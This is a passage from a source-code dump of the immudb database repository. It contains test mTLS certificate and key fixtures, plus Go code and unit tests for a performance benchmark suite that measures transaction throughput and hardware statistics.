MIIBigKCAYEAu8jTB7mmNCk+4UHdqNVBOi5whCJHtUIhOpPbzmmXkDbu0Sk0GXbV CB5jrwMlaWOM4K3Vjflct0AEoyLi2yaydixpjypiGTAhrfZHIixzGPnR9Goj6lTC YSYsgMmygqPL3FQGOMN2T4hCSArIsQJ7/toEQMe0xL+hhAblb5GM/j7kU/s6mkcd mTmXmTnDoWh0twbkOwrEoiEt5itPSdlnfrsn3ZzArhUaUTkaLiOlK0JsoMHMsWez J0d2uSs6YOKD4Feo9KKLRuvNX5ElW0EyEblghTJmC2vgGC0Wu3QSQR287teeScvD u4xE0YYpd7BDxH9TxLylBeuXIrbe9DP3e5hN/N2tmPcwR7KDi5/Iv6Qf8dASdvMt itGWnUos3Qv+ot32dMnlrOVBfJ13NXqZkMrPx36TtT3HOUB4tGgrVDfk4O7icgC+ xrPqlhBDZMKxXzzPcblBuoBoBEFiqs8OJbcp84aMYNcRL3ODfZdwy4z2a8+61jAv T3MPlJQQAHZhAgMBAAGjYzBhMB0GA1UdDgQWBBSfEF8y8S21Asdy8lmdcRQEQaS/ fjAfBgNVHSMEGDAWgBSfEF8y8S21Asdy8lmdcRQEQaS/fjAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAYEAADjkQJzeitW7 MmKc2BgnyVnXWO9fAlLGUyb+FPqOgLs9jUrviIlt+PEthrvH9gFH3UuIDPrnuRaq R8UEwneP2/5VgTIu5GYZvQx84KoEH19NLStpN1t99hKTAxwp3uMWJfTMRnl00MSF lwqxd+HXlU1gq922C5s34asbQ/FBVnhb5Y0fRYB0ptaa4n8vr9ikuyERUukuYOm+ Y2qBYam895a5F/BUS8Cxd54b3pccUE/aoxDjYQ1pD0WLxrdnMcdIf347hxczn5dm RZhDAF+IHfGzsA1b6sW0dkloKceZ9CYj8RR+yceRfJV3WRQijM5r6pYFjz6m9xeN h20aNRCTrrelny9c57rbPMryVYczUbmSJYiDbdSjShQld2wiMX5h67DIIF9s7tkt x1iWHHNymOGGsj49vOxACzOKu4WcgqflF+spRYP41hemGSvdyN6V3MgAxvMyD1VQ +HzZK9LQtFNcBs1lLEkJ6dsY3+pA97gUfbqALnAAalPBp/rsQ5d4 -----END CERTIFICATE----- ================================================ FILE: test/mtls_certs/ca.cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIEozCCAwugAwIBAgIUDtBHScUqpp9ZOWbbJjdrniBUmMowDQYJKoZIhvcNAQEL BQAwWTELMAkGA1UEBhMCVVMxDzANBgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3By aW5nZmllbGQxDDAKBgNVBAoMA0RpczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMB4X DTIwMDcxOTE5NDA1NFoXDTQwMDcxNDE5NDA1NFowWTELMAkGA1UEBhMCVVMxDzAN BgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3ByaW5nZmllbGQxDDAKBgNVBAoMA0Rp czEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMIIBojANBgkqhkiG9w0BAQEFAAOCAY8A MIIBigKCAYEAu8jTB7mmNCk+4UHdqNVBOi5whCJHtUIhOpPbzmmXkDbu0Sk0GXbV CB5jrwMlaWOM4K3Vjflct0AEoyLi2yaydixpjypiGTAhrfZHIixzGPnR9Goj6lTC YSYsgMmygqPL3FQGOMN2T4hCSArIsQJ7/toEQMe0xL+hhAblb5GM/j7kU/s6mkcd mTmXmTnDoWh0twbkOwrEoiEt5itPSdlnfrsn3ZzArhUaUTkaLiOlK0JsoMHMsWez J0d2uSs6YOKD4Feo9KKLRuvNX5ElW0EyEblghTJmC2vgGC0Wu3QSQR287teeScvD u4xE0YYpd7BDxH9TxLylBeuXIrbe9DP3e5hN/N2tmPcwR7KDi5/Iv6Qf8dASdvMt itGWnUos3Qv+ot32dMnlrOVBfJ13NXqZkMrPx36TtT3HOUB4tGgrVDfk4O7icgC+ xrPqlhBDZMKxXzzPcblBuoBoBEFiqs8OJbcp84aMYNcRL3ODfZdwy4z2a8+61jAv T3MPlJQQAHZhAgMBAAGjYzBhMB0GA1UdDgQWBBSfEF8y8S21Asdy8lmdcRQEQaS/ fjAfBgNVHSMEGDAWgBSfEF8y8S21Asdy8lmdcRQEQaS/fjAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAYEAADjkQJzeitW7 MmKc2BgnyVnXWO9fAlLGUyb+FPqOgLs9jUrviIlt+PEthrvH9gFH3UuIDPrnuRaq R8UEwneP2/5VgTIu5GYZvQx84KoEH19NLStpN1t99hKTAxwp3uMWJfTMRnl00MSF lwqxd+HXlU1gq922C5s34asbQ/FBVnhb5Y0fRYB0ptaa4n8vr9ikuyERUukuYOm+ Y2qBYam895a5F/BUS8Cxd54b3pccUE/aoxDjYQ1pD0WLxrdnMcdIf347hxczn5dm RZhDAF+IHfGzsA1b6sW0dkloKceZ9CYj8RR+yceRfJV3WRQijM5r6pYFjz6m9xeN h20aNRCTrrelny9c57rbPMryVYczUbmSJYiDbdSjShQld2wiMX5h67DIIF9s7tkt x1iWHHNymOGGsj49vOxACzOKu4WcgqflF+spRYP41hemGSvdyN6V3MgAxvMyD1VQ +HzZK9LQtFNcBs1lLEkJ6dsY3+pA97gUfbqALnAAalPBp/rsQ5d4 -----END CERTIFICATE----- ================================================ FILE: test/mtls_certs/ca.key.pem ================================================ -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- ================================================ FILE: test/performance-test-suite/README.md ================================================ # immudb performance test suite This tool is the main immudb performance analysis tool with the goal of checking immudb performance with various real-world workloads. ## Long vs short run The test size is configurable. Short tests are meant to do a quick performance test on every immudb push to a master branch. Long test must be executed before each release to ensure there are no performance regressions. The default mode is to run a short performance test. ## Output This tool produces a json output file with detailed information about the performance. It contains timeline of various measurements throughout the test and summary. If possible, the json file will also contain metadata gathered from the underlying system necessary for comparisons between different systems. ## Central storage for test results Currently the results of performance tests are only attached to CI output. It is planned to have a central place with all the results gathered over time. ================================================ FILE: test/performance-test-suite/cmd/perf-test/main.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "crypto/rand" "encoding/binary" "encoding/json" "flag" "log" "os" "time" "github.com/codenotary/immudb/test/performance-test-suite/pkg/runner" ) func main() { flDuration := flag.Duration("d", time.Second*10, "duration of each test run") flSeed := flag.Uint64("s", 0, "seed for data generators") flRandomSeed := flag.Bool("random-seed", false, "if set to true, use random seed for test runs") flInfluxDbHost := flag.String("host", "", "url for influxdb") flInfluxToken := flag.String("token", "", "token for influxdb") flInfluxBucket := flag.String("bucket", "immudb-tests-results", "bucket for influxdb") flInfluxRunner := flag.String("runner", "", "github runner for influxdb") flInfluxVersion := flag.String("version", "", "immudb version for influxdb") flTempDir := flag.String("workdir", "/tmp", "working dir path") flag.Parse() if *flRandomSeed { var rndSeed [8]byte _, err := rand.Reader.Read(rndSeed[:]) if err != nil { log.Fatalf("Couldn't initialize random seed: %v", err) } *flSeed = binary.BigEndian.Uint64(rndSeed[:]) } results, err := runner.RunAllBenchmarks(*flDuration, *flTempDir, *flSeed) if err != nil { log.Fatal(err) } e := json.NewEncoder(os.Stdout) e.SetIndent("", " ") err = e.Encode(results) if err != nil { log.Fatal(err) } if *flInfluxDbHost != "" && *flInfluxToken != "" && *flInfluxRunner != "" && *flInfluxVersion != "" { runner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, *flInfluxRunner, *flInfluxVersion, results) } } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/benchmark.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import "time" type Benchmark interface { // Get benchmark's name Name() string // Do a test warmup Warmup(workingDirectory string) error // Cleanup after the test Cleanup() error // Run the test, return the cumulative statistics after the whole run Run(duration time.Duration, seed uint64) (interface{}, error) // Gather current snapshot of probes // This should be delta since the previous probe - e.g. req/sec that happened // between this and previous run. // It will be called in parallel while the `Run` call is still ongoing Probe() interface{} } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/format.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import "fmt" func ToHumanReadable(b uint64) string { const unit = 1000 if b < unit { return fmt.Sprintf("%d", b) } div, exp := uint64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } v := float64(b) / float64(div) return fmt.Sprintf("%.2f%c", v, "kMGTPE"[exp]) } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/format_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "fmt" "math" "testing" "github.com/stretchr/testify/assert" ) func TestToHumanReadable(t *testing.T) { for _, d := range []struct { b uint64 s string }{ {0, "0"}, {1, "1"}, {999, "999"}, {1000, "1.00k"}, {1001, "1.00k"}, {3333333, "3.33M"}, {4444444444, "4.44G"}, {5555555555555, "5.56T"}, {6666666666666666, "6.67P"}, {7777777777777777777, "7.78E"}, {math.MaxUint64, "18.45E"}, } { t.Run(fmt.Sprintf("%v", d), func(t *testing.T) { s := ToHumanReadable(d.b) assert.Equal(t, d.s, s) }) } } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/hwstats.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "fmt" "github.com/prometheus/procfs" ) // HWStats contains basic information about hardware properties type HWStats struct { CPUTime float64 `json:"cpuTime"` // Total about of CPU time used by the process in seconds CPUKernelTimeFraction float64 `json:"cpuTimeKernelFraction"` // Fraction of the total CPU time that was spent on the kernel side VMM uint64 `json:"vmm"` // Virtual memory used RSS uint64 `json:"rss"` // Resident memory used IOBytesRead uint64 `json:"ioBytesRead"` // Number of bytes read IOBytesWrite uint64 `json:"ioBytesWrite"` // Number of bytes written IOCallsRead uint64 `json:"ioCallsRead"` // Number of io read syscalls IOCallsWrite uint64 `json:"ioCallsWrite"` // Number of io write syscalls } func (h *HWStats) String() string { return fmt.Sprintf( "CPUTime: %.2f, VMM: %s, RSS: %s, Writes (bytes/calls): %s/%d, Reads (bytes/calls): %s/%d", h.CPUTime, ToHumanReadable(h.VMM), ToHumanReadable(h.RSS), ToHumanReadable(h.IOBytesWrite), h.IOCallsWrite, ToHumanReadable(h.IOBytesRead), h.IOCallsRead, ) } type HWStatsProber struct { ps procfs.Proc initialStat procfs.ProcStat initialIO procfs.ProcIO } func NewHWStatsProber() (*HWStatsProber, error) { ps, err := procfs.Self() if err != nil { return nil, fmt.Errorf("Couldn't initialize HW stats prober: %v", err) } initialStat, err := ps.Stat() if err != nil { return nil, fmt.Errorf("Couldn't initialize HW stats prober: %v", err) } initialIO, err := ps.IO() if err != nil { return nil, fmt.Errorf("Couldn't initialize HW stats prober: %v", err) } return &HWStatsProber{ ps: ps, initialStat: initialStat, initialIO: initialIO, }, nil } func (h *HWStatsProber) GetHWStats() (*HWStats, error) { stat, err := h.ps.Stat() if err != nil { return nil, err } uTime := stat.UTime - h.initialStat.UTime sTime := stat.STime - h.initialStat.STime ktFrac := float64(0) if uTime+sTime > 0 { ktFrac = float64(sTime) / float64(sTime+uTime) } ioStat, err := h.ps.IO() if err != nil { return nil, err } return &HWStats{ CPUTime: stat.CPUTime() - h.initialStat.CPUTime(), CPUKernelTimeFraction: ktFrac, VMM: uint64(stat.VirtualMemory()), RSS: uint64(stat.ResidentMemory()), IOBytesRead: ioStat.ReadBytes - h.initialIO.ReadBytes, IOBytesWrite: ioStat.WriteBytes - h.initialIO.WriteBytes, IOCallsRead: ioStat.SyscR - h.initialIO.SyscR, IOCallsWrite: ioStat.SyscW - h.initialIO.SyscW, }, nil } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/hwstats_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "log" "os" "path/filepath" "testing" "time" "github.com/stretchr/testify/require" ) func TestHwStatsProber(t *testing.T) { t.Run("check initial hw stats", func(t *testing.T) { sp, err := NewHWStatsProber() require.NoError(t, err) require.NotNil(t, sp) stats, err := sp.GetHWStats() require.NoError(t, err) require.NotNil(t, stats) require.GreaterOrEqual(t, stats.CPUTime, 0.0) require.Less(t, stats.CPUTime, 0.0001) require.GreaterOrEqual(t, stats.CPUKernelTimeFraction, 0.0) require.LessOrEqual(t, stats.CPUKernelTimeFraction, 1.0) str := stats.String() require.Regexp(t, `CPUTime: [0-9.]+`, str) require.Regexp(t, `VMM: [0-9.]+.?`, str) require.Regexp(t, `RSS: [0-9.]+.?`, str) require.Regexp(t, `Writes \(bytes\/calls\): [0-9.]+.?/[0-9.]+.?`, str) require.Regexp(t, `Reads \(bytes\/calls\): [0-9.]+.?/[0-9.]+.?`, str) }) t.Run("check CPU stats during idle time", func(t *testing.T) { sp, err := NewHWStatsProber() require.NoError(t, err) require.NotNil(t, sp) time.Sleep(time.Millisecond * 20) stats, err := sp.GetHWStats() require.NoError(t, err) require.GreaterOrEqual(t, stats.CPUTime, 0.0) require.Less(t, stats.CPUTime, 0.0001) require.GreaterOrEqual(t, stats.CPUKernelTimeFraction, 0.0) require.LessOrEqual(t, stats.CPUKernelTimeFraction, 1.0) }) t.Run("check CPU stats during busy time", func(t *testing.T) { sp, err := NewHWStatsProber() require.NoError(t, err) require.NotNil(t, sp) i := 0 for t0 := time.Now(); time.Since(t0) < time.Millisecond*20; i++ { // Some busy loop } log.Println("Iterations count:", i) stats, err := sp.GetHWStats() require.NoError(t, err) require.GreaterOrEqual(t, stats.CPUTime, 0.0) require.GreaterOrEqual(t, stats.CPUTime, 0.01) require.GreaterOrEqual(t, stats.CPUKernelTimeFraction, 0.0) require.LessOrEqual(t, stats.CPUKernelTimeFraction, 1.0) }) t.Run("check IO stats", func(t *testing.T) { sp, err := NewHWStatsProber() require.NoError(t, err) require.NotNil(t, sp) stats, err := sp.GetHWStats() require.NoError(t, err) require.LessOrEqual(t, stats.IOBytesRead, uint64(100)) require.LessOrEqual(t, stats.IOBytesWrite, uint64(100)) require.LessOrEqual(t, stats.IOCallsRead, uint64(10)) require.LessOrEqual(t, stats.IOCallsWrite, uint64(10)) dir := t.TempDir() fl, err := os.Create(filepath.Join(dir, "test")) require.NoError(t, err) const blockSize uint64 = 4096 const blocks uint64 = 1000 const blocksMargin uint64 = 100 t.Run("test write stats", func(t *testing.T) { for i := uint64(0); i < blocks; i++ { n, err := fl.Write(make([]byte, blockSize)) require.NoError(t, err) require.EqualValues(t, blockSize, n) } stats, err = sp.GetHWStats() require.NoError(t, err) require.GreaterOrEqual(t, stats.IOCallsWrite, blocks) require.Less(t, stats.IOCallsWrite, blocks+blocksMargin) // We can not easily check the lower bound - on tmpfs or when data stays // in page cache, write_bytes in /proc/self/io will be 0 require.Less(t, stats.IOBytesWrite, (blocks+blocksMargin)*blockSize) }) t.Run("test read stats", func(t *testing.T) { fl.Seek(0, 0) fl.Sync() for i := 0; uint64(i) < blocks; i++ { n, err := fl.Read(make([]byte, blockSize)) require.NoError(t, err) require.EqualValues(t, blockSize, n) } stats, err = sp.GetHWStats() require.NoError(t, err) require.GreaterOrEqual(t, stats.IOCallsRead, blocks) require.Less(t, stats.IOCallsRead, blocks+blocksMargin) // We can not easily check the lower bound - most likely the whole test // will run entirely on page cache thus there will be 0 bytes read from the device require.Less(t, stats.IOBytesRead, (blocks+blocksMargin)*blockSize) }) }) } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/keytracker.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "fmt" "math/rand" "sync/atomic" ) type KeyTracker struct { start uint64 max uint64 } func NewKeyTracker(start uint64) *KeyTracker { return &KeyTracker{ start: start, } } func (kt *KeyTracker) GetWKey() string { max := atomic.AddUint64(&kt.max, 1) return fmt.Sprintf("KEY:%010d", max+kt.start-1) } func (kt *KeyTracker) GetRKey() string { max := atomic.LoadUint64(&kt.max) k := kt.start if max > 0 { k += rand.Uint64() % max } return fmt.Sprintf("KEY:%010d", k) } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/keytracker_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "testing" "github.com/stretchr/testify/require" ) func TestKeyTracker(t *testing.T) { kt := NewKeyTracker(0) require.NotNil(t, kt) k := kt.GetRKey() require.Equal(t, "KEY:0000000000", k) k = kt.GetWKey() require.Equal(t, "KEY:0000000000", k) k = kt.GetWKey() require.Equal(t, "KEY:0000000001", k) k = kt.GetWKey() require.Equal(t, "KEY:0000000002", k) usedKeys := map[string]int{} for i := 0; i < 100; i++ { k := kt.GetRKey() require.Contains(t, []string{ "KEY:0000000000", "KEY:0000000001", "KEY:0000000002", }, k, ) usedKeys[k]++ } require.Len(t, usedKeys, 3) for _, u := range usedKeys { require.Greater(t, u, 20) } } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/rand.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "math/rand" "runtime" ) const hexDigits = "0123456789abcdef" type randStringGen struct { n int done chan bool rndChan chan []byte } func (r *randStringGen) randHexString(n int) bool { b := make([]byte, n) for i, offset := n/4, 0; i > 0; i-- { // A Int63() generates 63 random bits cache := rand.Int63() for j := 0; j < 4; j++ { idx := int(cache & 15) b[offset] = hexDigits[idx] cache >>= 4 offset++ } } select { case r.rndChan <- b: return true case <-r.done: return false } } func NewRandStringGen(size int) *randStringGen { ret := &randStringGen{ rndChan: make(chan []byte, 65536), done: make(chan bool), } cpu := runtime.NumCPU() for j := 0; j < cpu; j++ { go func() { for ret.randHexString(size) { } }() } return ret } func (r *randStringGen) GetRnd() []byte { return <-r.rndChan } func (r *randStringGen) Stop() { close(r.done) } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/rand_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package benchmarks import ( "testing" "github.com/stretchr/testify/require" ) func TestRandStringGen(t *testing.T) { rsd := NewRandStringGen(16) defer rsd.Stop() for i := 0; i < 100; i++ { b := rsd.GetRnd() require.Len(t, b, 16) require.Regexp(t, "^[0-9a-f]+$", string(b)) } } ================================================ FILE: test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package writetxs import ( "context" "crypto/sha256" "fmt" "log" "net" "os" "sync" "sync/atomic" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks" ) func h256(s string) []byte { h := sha256.New() h.Write([]byte(s)) return h.Sum(nil) } type Config struct { Name string Workers int BatchSize int KeySize int ValueSize int AsyncWrite bool Replica string } type benchmark struct { cfg Config txSoFar int64 kvSoFar int64 startTime time.Time lastProbeTxSoFar int64 lastProbeKVSoFar int64 lastProbeTime time.Time hwStatsGatherer *benchmarks.HWStatsProber m sync.Mutex primaryServer *server.ImmuServer replicaServer *server.ImmuServer clients []client.ImmuClient tempDirs []string } type Result struct { TxTotal int64 `json:"txTotal"` KvTotal int64 `json:"kvTotal"` Txs float64 `json:"txs"` Kvs float64 `json:"kvs"` TxsInst float64 `json:"txsInstant,omitempty"` KvsInst float64 `json:"kvsInstant,omitempty"` HWStats *benchmarks.HWStats `json:"hwStats"` } func (r *Result) String() string { s := fmt.Sprintf( "TX: %d, KV: %d, TX/s: %.2f, KV/S: %.2f", r.TxTotal, r.KvTotal, r.Txs, r.Kvs, ) if r.TxsInst != 0.0 || r.KvsInst != 0.0 { s += fmt.Sprintf( ", TX/s instant: %.2f, KV/s instant: %.2f", r.TxsInst, r.KvsInst, ) } if r.HWStats != nil { s += ", " s += r.HWStats.String() } return s } func NewBenchmark(cfg Config) benchmarks.Benchmark { return &benchmark{cfg: cfg} } func (b *benchmark) Name() string { return b.cfg.Name } func (b *benchmark) Warmup(tempDirBase string) error { primaryPath, err := os.MkdirTemp(tempDirBase, "tx-test-primary") if err != nil { return err } b.tempDirs=append(b.tempDirs,primaryPath) primaryServerOpts := server. DefaultOptions(). WithDir(primaryPath). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithLogFormat(logger.LogFormatJSON). WithLogfile("./immudb.log") primaryServerReplicaOptions := server.ReplicationOptions{} if b.cfg.Replica == "async" { primaryServerOpts.WithReplicationOptions(primaryServerReplicaOptions.WithIsReplica(false)) } if b.cfg.Replica == "sync" { primaryServerOpts.WithReplicationOptions(primaryServerReplicaOptions.WithIsReplica(false).WithSyncReplication(true).WithSyncAcks(1)) } b.primaryServer = server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) err = b.primaryServer.Initialize() if err != nil { return err } go func() { b.primaryServer.Start() }() time.Sleep(1 * time.Second) primaryPort := b.primaryServer.Listener.Addr().(*net.TCPAddr).Port if b.cfg.Replica == "async" || b.cfg.Replica == "sync" { replicaPath, err := os.MkdirTemp(tempDirBase, fmt.Sprintf("%s-tx-test-replica", b.cfg.Replica)) if err != nil { return err } b.tempDirs=append(b.tempDirs,replicaPath) replicaServerOptions := server. DefaultOptions(). WithDir(replicaPath). WithPort(0). WithLogFormat(logger.LogFormatJSON). WithLogfile("./replica.log") replicaServerOptions.PgsqlServer = false replicaServerOptions.MetricsServer = false replicaServerOptions.WebServer = false replicaServerReplicaOptions := server.ReplicationOptions{} replicaServerReplicaOptions.PrimaryHost = "127.0.0.1" replicaServerReplicaOptions.PrimaryPort = primaryPort replicaServerReplicaOptions.PrimaryUsername = "immudb" 